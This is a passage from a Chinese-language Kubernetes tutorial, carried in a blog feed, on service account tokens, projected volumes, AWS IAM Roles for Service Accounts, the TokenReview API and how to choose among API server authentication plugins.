          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;内容有点多，解析一下。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;这里声明了一个 &lt;code&gt;kube-api-access-69mqr&lt;/code&gt; 卷&lt;/li&gt;
&lt;li&gt;这个卷用只读的方式加载到了 &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个卷用的是 &lt;code&gt;projected&lt;/code&gt; 类型。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Projected 卷能把多个卷聚合在一起。但并不是所有类型的卷都能够绑定到 Projected 卷里面，目前仅限于 &lt;code&gt;downwardAPI&lt;/code&gt;、&lt;code&gt;configMap&lt;/code&gt; 以及 &lt;code&gt;serviceAccountToken&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在这个例子里，Projected 卷的组成成分包括：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;serviceAccountToken&lt;/code&gt; 卷被加载到 &lt;code&gt;token&lt;/code&gt; 路径&lt;/li&gt;
&lt;li&gt;&lt;code&gt;configMap&lt;/code&gt; 卷&lt;/li&gt;
&lt;li&gt;&lt;code&gt;downwardAPI&lt;/code&gt; 卷被加载到 &lt;code&gt;namespace&lt;/code&gt; 路径&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这些卷都是干嘛的？&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/projected-volumes/#serviceaccounttoken&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;serviceAccountToken&lt;/code&gt;&lt;/a&gt; 是一种特别的卷，从当前的 Service Account 中加载 Secret，并填充到 &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt; 文件中。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ConfigMap&lt;/code&gt; 卷会把 &lt;code&gt;ConfigMap&lt;/code&gt; 中的每个 Key 加载成目录里面的文件。&lt;/p&gt;

&lt;p&gt;这个文件的的内容就是对应 Key 的 Value（如果键值对的内容是 &lt;code&gt;replicas:1&lt;/code&gt;，就会表达为一个命名为 &lt;code&gt;replicas&lt;/code&gt; 的文件，其内容是 &lt;code&gt;1&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;本例中，ConfigMap 卷中加载了调用 API 所必须的 &lt;code&gt;ca.crt&lt;/code&gt; 证书。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/volumes/#downwardapi&#34; target=&#34;_blank&#34;&gt;downwardAPI&lt;/a&gt; 卷是一种特殊类型，使用 &lt;a href=&#34;https://kubernetes.io/docs/tasks/inject-data-application/environment-variable-expose-pod-information/#the-downward-api&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;downwardAPI&lt;/code&gt;&lt;/a&gt;，将 Pod 信息开放给容器。&lt;/p&gt;

&lt;p&gt;在这个例子里，用这种方法将当前命名空间用文件的方式暴露给容器。&lt;/p&gt;

&lt;p&gt;可以在 Pod 里验证一下这个能力：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
$ export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
$ echo $NAMESPACE
default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;知道了 Token 的加载方式之后，那为什么 Kubernetes 要放弃 Secret 改用这种方式呢？&lt;/p&gt;

&lt;p&gt;主要原因是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Secret 中的 Token 永不过期&lt;/li&gt;
&lt;li&gt;创建 Service Account 的时候，会异步创建一个带令牌的 Secret&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;但是如果你只需要 Token，却不需要 Pod 呢？是否可以不加载 Projected Volume 就拿到 Token 数据呢？kubectl 有个新命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create token test
eyJhbGciOiJSUzI1NiIsImtpZCI6ImctMHJNO…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个 Token 是临时的，和 Kubelet 加载到 Pod 里面的 Token 是一样的。&lt;/p&gt;

&lt;p&gt;重复执行命令会看到不同的结果，那么这个 Token 只是个长字符串吗？&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Projected Servivce Account Token 是个签了名的 JWT Token&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;可以把这个字符串复制到 &lt;a href=&#34;https://jwt.io&#34; target=&#34;_blank&#34;&gt;jwt.io&lt;/a&gt; 网站上，处理之后的输出内容结构如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Header 描述了 Token 的签名方式&lt;/li&gt;
&lt;li&gt;Payload 就是 Token 中的真实数据&lt;/li&gt;
&lt;li&gt;Signature 用于校验 Token 是否被修改&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;images/token.png&#34; alt=&#34;token&#34; /&gt;&lt;/p&gt;

&lt;p&gt;观察一下这个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;aud&amp;quot;: [
    &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;
  ],
  &amp;quot;exp&amp;quot;: 1655083796,
  &amp;quot;iat&amp;quot;: 1655080196,
  &amp;quot;iss&amp;quot;: &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;,
  &amp;quot;kubernetes.io&amp;quot;: {
    &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
    &amp;quot;serviceaccount&amp;quot;: {
      &amp;quot;name&amp;quot;: &amp;quot;test&amp;quot;,
      &amp;quot;uid&amp;quot;: &amp;quot;6af2abe9-d8d8-4b8a-9bb5-3cc96442b322&amp;quot;
    }
  },
  &amp;quot;nbf&amp;quot;: 1655080196,
  &amp;quot;sub&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的字段值得讨论：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2&#34; target=&#34;_blank&#34;&gt;sub&lt;/a&gt;：主体。本例中的主体是存在于缺省命名空间中的名为 &lt;code&gt;test&lt;/code&gt; 的 Service Account。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3&#34; target=&#34;_blank&#34;&gt;aud&lt;/a&gt;：受众。这个 Token 对当前 Kubernetes 集群生效。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1&#34; target=&#34;_blank&#34;&gt;iss&lt;/a&gt;：签发者。因为这个 Token 是当前 Kubernetes 签发的，所以取值为当前集群的域名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubernetes.io&lt;/code&gt;：自定义字段，用于描述 Kubernetes 的细节。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;从 Nginx Pod 中读取 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;aud&amp;quot;: [
    &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;
  ],
  &amp;quot;exp&amp;quot;: 1686617744,
  &amp;quot;iat&amp;quot;: 1655081744,
  &amp;quot;iss&amp;quot;: &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;,
  &amp;quot;kubernetes.io&amp;quot;: {
    &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
    &amp;quot;pod&amp;quot;: {
      &amp;quot;name&amp;quot;: &amp;quot;nginx&amp;quot;,
      &amp;quot;uid&amp;quot;: &amp;quot;a11defcb-f510-4d49-9c4f-2e8e8da1c33c&amp;quot;
    },
    &amp;quot;serviceaccount&amp;quot;: {
      &amp;quot;name&amp;quot;: &amp;quot;test&amp;quot;,
      &amp;quot;uid&amp;quot;: &amp;quot;6af2abe9-d8d8-4b8a-9bb5-3cc96442b322&amp;quot;
    },
    &amp;quot;warnafter&amp;quot;: 1655085351
  },
  &amp;quot;nbf&amp;quot;: 1655081744,
  &amp;quot;sub&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Payload 中包含了 Pod 的名字和 UUID。但是这些信息是谁在消费呢？&lt;/p&gt;

&lt;p&gt;不仅能够检查 Token 的完整性和有效性，甚至还可以区分出同一个 Deployment 中的两个 Pod 的区别。&lt;/p&gt;

&lt;p&gt;这个功能很有用，原因是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;授权粒度精细到特定 Pod&lt;/li&gt;
&lt;li&gt;特定身份被攻破，也只会影响单一单元&lt;/li&gt;
&lt;li&gt;从一个 API 调用就能够知道其中包含的命名空间和 Pod&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;aws-如何将-iam-集成到-kubernetes&#34;&gt;AWS 如何将 IaM 集成到 Kubernetes&lt;/h2&gt;

&lt;p&gt;设想一个场景，在 AWS 中运行 Kubernetes 集群之中，并希望从集群中上传文件到 S3 的场景。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意在 &lt;a href=&#34;https://azure.github.io/azure-workload-identity/docs/&#34; target=&#34;_blank&#34;&gt;Azure&lt;/a&gt; 和 &lt;a href=&#34;https://cloud.google.com/config-connector/docs/overview&#34; target=&#34;_blank&#34;&gt;GCP&lt;/a&gt; 也存在同等能力。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;通常来说，需要用一个角色来完成这一任务，但是 AWS 的 IAM 角色只能赋予给计算实例、而非 Pod，换句话说，AWS 对 Pod 并无认知。&lt;/p&gt;

&lt;p&gt;2019 年底，AWS 提供了一种原生的 Kubernetes 集成 IAM 的机制，被称为 &lt;a href=&#34;https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html&#34; target=&#34;_blank&#34;&gt;IAM Roles for Service Accounts (IRSA)&lt;/a&gt;，IRSA 在身份和 Projected Service Account Token 之间建立了联系。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;创建一个 IAM 策略，其中包含了允许访问的资源&lt;/li&gt;
&lt;li&gt;创建一个角色，其中包含了上一步中的策略，记录其 &lt;code&gt;ARN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建一个 Projected Service Account Token，并用文件的方式进行加载&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;把 Role ARN 和 Projected Service Account Token 呈现在 Pod 的环境变量之中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Pod
metadata:
  name: myapp
spec:
  serviceAccountName: my-serviceaccount
  containers:
  - name: myapp
    image: myapp:1.2
    env:
    - name: AWS_ROLE_ARN
      value: arn:aws:iam::111122223333:policy/my-role
    - name: AWS_WEB_IDENTITY_TOKEN_FILE
      value: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    volumeMounts:
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true
  volumes:
  - name: aws-iam-token
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了这一配置，就能向 S3 上传文件了。&lt;/p&gt;

&lt;p&gt;应用会使用这两个环境变量作为连接到 S3 所需要的 Token，但是如何实现的呢？&lt;/p&gt;

&lt;p&gt;是 Kubernetes 而非 AWS 生成了 Token，那么 AWS 如何知道 Token 的有效性呢——是的 AWS 不知道。&lt;/p&gt;

&lt;p&gt;AWS SDK 使用角色 ARN 以及 Projected Service Account Token 来交换标准的 AWS 访问凭据。&lt;/p&gt;

&lt;p&gt;如果不用 AWS SDK 又怎么办呢？应用程序向 AWS IAM 发起请求，&lt;a href=&#34;https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html&#34; target=&#34;_blank&#34;&gt;为当前身份（Service Account）换取一个角色&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;IAM 收到这个 Token 后，会进行解压并检查 iss 字段，来判断 JWT Token 的合法性。&lt;/p&gt;

&lt;p&gt;这个字段通常会被配置为用于创建该 Token 的公钥。&lt;/p&gt;

&lt;p&gt;前面说过，这个 URL 指向 Kubernetes 集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{
  &amp;quot;aud&amp;quot;: [
    &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;
  ],
  &amp;quot;exp&amp;quot;: 1686617744,
  &amp;quot;iat&amp;quot;: 1655081744,
  &amp;quot;iss&amp;quot;: &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;,
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意，需要把这个 URL 改成一个完全限定名（FQDN），否则 AWS IAM 无法触达。&lt;a href=&#34;https://azure.github.io/azure-workload-identity/docs/installation/self-managed-clusters/configurations.html&#34; target=&#34;_blank&#34;&gt;可以用 &lt;code&gt;--service-account-issuer&lt;/code&gt; 参数来指定&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这个 URL 是一个标准的 OIDC Provider，AWS IAM 会查看两个路径：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{Issuer URL}/.well-known/openid-configuration&lt;/code&gt;：又被称为 OIDC 发现文档。其中包含了签发者的配置元数据&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{Issuer URL}/openid/v1/jwks&lt;/code&gt;：其中包含了签名公钥，用于验证 Service Account Token 的真实性&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要注意，缺省情况下，这两个端点是不会暴露的，需要集群管理员进行设计。&lt;/p&gt;

&lt;p&gt;首先看看 JWKS 端点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;curl {Issuer URL}/openid/v1/jwks
  &amp;quot;keys&amp;quot;: [
    {
      &amp;quot;use&amp;quot;: &amp;quot;sig&amp;quot;,
      &amp;quot;kty&amp;quot;: &amp;quot;RSA&amp;quot;,
      &amp;quot;kid&amp;quot;: &amp;quot;ZO4TUgVjBzMWKVP8mmBwKLvsuyn8z-gfqUp27q9lO4w&amp;quot;,
      &amp;quot;alg&amp;quot;: &amp;quot;RS256&amp;quot;,
      &amp;quot;n&amp;quot;: &amp;quot;34a81xuMe…&amp;quot;,
      &amp;quot;e&amp;quot;: &amp;quot;AQAB&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;AWS IAM 会收到公钥，并校验 Token。&lt;a href=&#34;https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-verifying-a-jwt.html&#34; target=&#34;_blank&#34;&gt;下面的代码&lt;/a&gt;用于校验：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-js&#34;&gt;var jwt = require(&#39;jsonwebtoken&#39;)
var jwkToPem = require(&#39;jwk-to-pem&#39;)
var pem = jwkToPem(jwk /* &amp;quot;kid&amp;quot; value from the jkws file */)
jwt.verify(token /* this is the token to verify */, pem, { algorithms: [&#39;RS256&#39;] }, function(err, decodedToken) {
  // rest of the code
})
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果 Token 有效，就生成一个具备指定权限的 Access Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;Credentials&amp;quot;: {
        &amp;quot;AccessKeyId&amp;quot;: &amp;quot;ASIAWY4CVPOBS4OIBWNL&amp;quot;,
        &amp;quot;SecretAccessKey&amp;quot;: &amp;quot;02n52u8Smc76…&amp;quot;,
        &amp;quot;SessionToken&amp;quot;: &amp;quot;IQoJb3JpZ…&amp;quot;,
        &amp;quot;Expiration&amp;quot;: &amp;quot;2022-06-13T10:50:25+00:00&amp;quot;
    },
    &amp;quot;SubjectFromWebIdentityToken&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;,
    &amp;quot;AssumedRoleUser&amp;quot;: {
        &amp;quot;AssumedRoleId&amp;quot;: &amp;quot;AROAWY4CVPOBXUSBA5C2B:test&amp;quot;,
        &amp;quot;Arn&amp;quot;: &amp;quot;arn:aws:sts::[aws account id]:assumed-role/oidc/test&amp;quot;
    },
    &amp;quot;Provider&amp;quot;: &amp;quot;arn:aws:iam::[aws account id]:oidc-provider/[bucket name].s3.amazonaws.com&amp;quot;,
    &amp;quot;Audience&amp;quot;: &amp;quot;test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;拿到新凭据后，就可以用来访问 S3 存储桶了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/exchange.png&#34; alt=&#34;exchange&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Projected Serivce Account Token 代表一个集群内有效的身份它可以用来交换到一个其他场景下有效的 Token&lt;/li&gt;
&lt;li&gt;AWS IaM 服务收到这个 Token，并读取其 &lt;code&gt;iss&lt;/code&gt; 字段的内容，用于验证 Token&lt;/li&gt;
&lt;li&gt;如果身份有效，就签发自己的 Token&lt;/li&gt;
&lt;li&gt;可以使用新的 Token 访问 AWS 的服务&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;另外还有一篇文章，完整的描述了&lt;a href=&#34;https://dev.to/danielepolencic/binding-aws-iam-roles-to-kubernetes-service-account-for-on-prem-clusters-1icc&#34; target=&#34;_blank&#34;&gt;手工进行集成的过程&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;这种方式可以用于访问外部资源，然而访问内部服务时，是否也需要这样操作呢?&lt;/p&gt;

&lt;h2 id=&#34;使用-token-review-api-校验-projected-service-account&#34;&gt;使用 Token Review API 校验 Projected Service Account&lt;/h2&gt;

&lt;p&gt;可以用 &lt;a href=&#34;https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-review-v1/&#34; target=&#34;_blank&#34;&gt;Token Review API&lt;/a&gt; 来对集群创建的 Token 进行校验。&lt;/p&gt;

&lt;p&gt;首先为 Service Account 创建一个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create token test
eyJhbG…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建 YAML 资源，并在其中包含 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: TokenReview
apiVersion: authentication.k8s.io/v1
metadata:
  name: test
spec:
  token: eyJhbG… # &amp;lt;- token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交资源，注意 &lt;code&gt;-o yaml&lt;/code&gt; 输出的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl apply -o yaml -f token.yaml
apiVersion: authentication.k8s.io/v1
kind: TokenReview
metadata:
  name: test
spec:
  token: eyJhbG…
status:
  audiences:
    - https://kubernetes.default.svc.cluster.local
  authenticated: true
  user:
    groups:
      - system:serviceaccounts
      - system:serviceaccounts:default
      - system:authenticated
    uid: eccac137-25e2-4e84-9d83-18b2f9c5e5af
    username: system:serviceaccount:default:test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Token Review API 的工作内容和 AWS IAM 集成类似：校验身份，并从 Token 中获取细节。当然，单一的 API 调用比 OIDC 流程要简单直接得多。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://learnk8s.io/microservices-authentication-kubernetes&#34; target=&#34;_blank&#34;&gt;还可以使用定制 Audience 的方式来限制访问范围&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;用-kubernetes-1-24-或者更高版本生成-service-account-的-secret&#34;&gt;用 Kubernetes 1.24 或者更高版本生成 Service Account 的 Secret&lt;/h2&gt;

&lt;p&gt;从 1.24 开始，Kubernetes 不再为 ServiceAccount 自动生成 Secret。然而你还是可以使用传统的方式来创建 Service Account 并用注解的方式来附加给一个 Secret。&lt;/p&gt;

&lt;p&gt;例如当前的 Service Account &lt;code&gt;test&lt;/code&gt; 中没有 &lt;code&gt;secret&lt;/code&gt; 对象。但是可以创建用这种方式创建 &lt;code&gt;Secret&lt;/code&gt; （和 &lt;code&gt;token&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Secret
type: kubernetes.io/service-account-token
metadata:
  name: test
  annotations:
    kubernetes.io/service-account.name: &amp;quot;test&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交给集群之后，进行观察：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe secret test

Name:         test
Namespace:    default

Type:  kubernetes.io/service-account-token

Data
====
ca.crt:     1111 bytes
namespace:  7 bytes
token:      eyJhbG…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;还可以用 Token Review API 来校验这个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: TokenReview
apiVersion: authentication.k8s.io/v1
metadata:
  name: test
spec:
  token: eyJhbG…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交对象，并加入 &lt;code&gt;-o yaml&lt;/code&gt; 开关：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl apply -o yaml -f token.yaml

apiVersion: authentication.k8s.io/v1
kind: TokenReview
metadata:
  name: test
spec:
  token: eyJhbG…
status:
  audiences:
  - https://kubernetes.default.svc.cluster.local
  authenticated: true
  user:
    groups:
    - system:serviceaccounts
    - system:serviceaccounts:default
    - system:authenticated
    uid: eccac137-25e2-4e84-9d83-18b2f9c5e5af
    username: system:serviceaccount:default:test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果把 Token 内容提交给 &lt;a href=&#34;https://jwt.io/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;jwt.io&lt;/code&gt;&lt;/a&gt;，会发现 Token 没有过期时间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;
{
  &amp;quot;iss&amp;quot;: &amp;quot;kubernetes/serviceaccount&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/namespace&amp;quot;: &amp;quot;default&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/secret.name&amp;quot;: &amp;quot;test&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/service-account.name&amp;quot;: &amp;quot;test&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/service-account.uid&amp;quot;: &amp;quot;eccac137-25e2-4e84-9d83-18b2f9c5e5af&amp;quot;,
  &amp;quot;sub&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这种情况和 Kubernetes 的传统行为是一致的。&lt;/p&gt;

&lt;h2 id=&#34;认证插件的选择&#34;&gt;认证插件的选择&lt;/h2&gt;

&lt;p&gt;Kubernetes 提供了以下的认证插件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;静态 Token 文件&lt;/li&gt;
&lt;li&gt;X.509 证书&lt;/li&gt;
&lt;li&gt;Open ID Connect&lt;/li&gt;
&lt;li&gt;Authentication proxy&lt;/li&gt;
&lt;li&gt;Webhook&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如何选择呢？&lt;/p&gt;

&lt;p&gt;在前面一节里，我们讨论了静态 Token 文件的限制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;需要知道用户名&lt;/li&gt;
&lt;li&gt;修改 CSV 文件需要重启 API Server 才能生效&lt;/li&gt;
&lt;li&gt;Token 不会过期&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因此静态 Token 文件不是生产环境中的最佳选择。&lt;/p&gt;

&lt;p&gt;X.509 客户端证书方案会略微好一些。&lt;/p&gt;

&lt;p&gt;使用 X.509 客户端证书认证：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;kube-apiserver&lt;/code&gt; 使用 &lt;code&gt;--client-ca-file=FILE&lt;/code&gt; 参数来指定 CA&lt;/li&gt;
&lt;li&gt;管理员为外部用户签发客户端证书。这些 X.509 客户端证书是自包含的，其中包含了用户名和用户组&lt;/li&gt;
&lt;li&gt;用户使用这个证书，用 TLS 方式发起对 API Server 的访问&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kube-apiserver&lt;/code&gt; 用 CA 证书对客户端证书进行认证，如果有效，则解析其中包含的用户名和用户组。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;工作流和静态 Token 类似，但还是有些区别：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;证书可以设置有效期&lt;/li&gt;
&lt;li&gt;创建新的客户端证书，无需修改 API Server 参数&lt;/li&gt;
&lt;li&gt;没有 CSV 文件，证书用 CRD 定义的方式来管理&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然而，&lt;a href=&#34;https://www.tremolosecurity.com/post/kubernetes-dont-use-certificates-for-authentication&#34; target=&#34;_blank&#34;&gt;X.509 客户端证书也并不是一个值得推荐的方案&lt;/a&gt;。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;X.509 客户端证书通常是很长寿（以年计）&lt;/li&gt;
&lt;li&gt;CA 基础设施提供了作废证书的途径，但是 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/issues/18982&#34; target=&#34;_blank&#34;&gt;Kubernetes 不支持过期证书的检查&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;客户端证书是自包含的，因此用 RBAC 进行分组非常难&lt;/li&gt;
&lt;li&gt;为了对客户进行认证，必须点对点的连接 API Server，不能使用反向代理或者 WAF 防火墙。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;（临时）没有其它机制可用的应急场景下，正适合使用 X.509 认证方法。&lt;/p&gt;

&lt;p&gt;Kubeadm 和 OpenShift 缺省会设置 API Server 的证书认证能力，这样本地的 Kubectl 就可以使用了。&lt;/p&gt;

&lt;p&gt;除了上面的特例之外，可能最好的方式就是 OIDC 认证了。如果已经有了用于管理用户的 OpenID Connect 的基础设施，那就尤其合适了。这种情况下，可以用管理普通用户的方式来管理 Kubernetes 中的用户。&lt;/p&gt;

&lt;p&gt;OpenID Connect Provider 能够签发 &lt;a href=&#34;https://jwt.io/&#34; target=&#34;_blank&#34;&gt;JSON Web Token（JWT）&lt;/a&gt;，这意味着 Token 能够自动认证，无需连接到 Token 的签发方，并且会过期。&lt;/p&gt;

&lt;p&gt;最后两种认证插件是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;认证代理&lt;/li&gt;
&lt;li&gt;Webhook&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#authenticating-proxy&#34; target=&#34;_blank&#34;&gt;认证代理&lt;/a&gt; 插件能够通过外部的认证代理进行透明的认证。&lt;/p&gt;

&lt;p&gt;当用户向 Kubernetes 集群发起请求时，请求首先会被认证代理进行处理。这种认证插件可以编写自己的认证逻辑，因此用来实现其它插件不支持的认证方式是很合适的。&lt;/p&gt;

&lt;p&gt;最后 &lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#webhook-token-authentication&#34; target=&#34;_blank&#34;&gt;Webhook Token&lt;/a&gt; 认证插件让用户能够用 &lt;a href=&#34;https://swagger.io/docs/specification/authentication/bearer-authentication/&#34; target=&#34;_blank&#34;&gt;HTTP Bearer Token&lt;/a&gt; 的方式，对 Kubernetes 请求进行自定义认证逻辑。&lt;/p&gt;

&lt;p&gt;Webhook Token 认证插件也同样适用于没有其它机制可用的场景。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;本文中阐述了 Kubernetes API Server 认证用户的能力。内容大致包括&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;外部用户和内部用户的区别&lt;/li&gt;
&lt;li&gt;Kubernetes API Server 如何实现不同的用户认证方法，例如静态 Token、Bearer Token、X.509 证书、OIDC 等&lt;/li&gt;
&lt;li&gt;Kubernetes 如何使用 Service Account 为内部用户授予身份&lt;/li&gt;
&lt;li&gt;使用 Secret 创建的 Token，和 Kubelet 创建的 Token 有什么区别&lt;/li&gt;
&lt;li&gt;Projected Volume 把多个卷聚合到一起的方法&lt;/li&gt;
&lt;li&gt;如何用 JWT 工具查看 Service Account Token&lt;/li&gt;
&lt;li&gt;和 OIDC 联邦，并且和 AWS 之类的云供应商进行集成的方式&lt;/li&gt;
&lt;li&gt;如何使用 API Review API 来校验 Service Account Token 的有效性。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;认证通过后，就进入鉴权环节了。然后可以阅读 &lt;a href=&#34;https://learnk8s.io/microservices-authentication-kubernetes&#34; target=&#34;_blank&#34;&gt;Authentication between microservices using Kubernetes identities&lt;/a&gt; 来里了解相关内容。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Inspektor Gadget</title>
      <link>/post/intro-k8s-gadget/</link>
      <pubDate>Sun, 26 Jun 2022 14:51:18 +0800</pubDate>
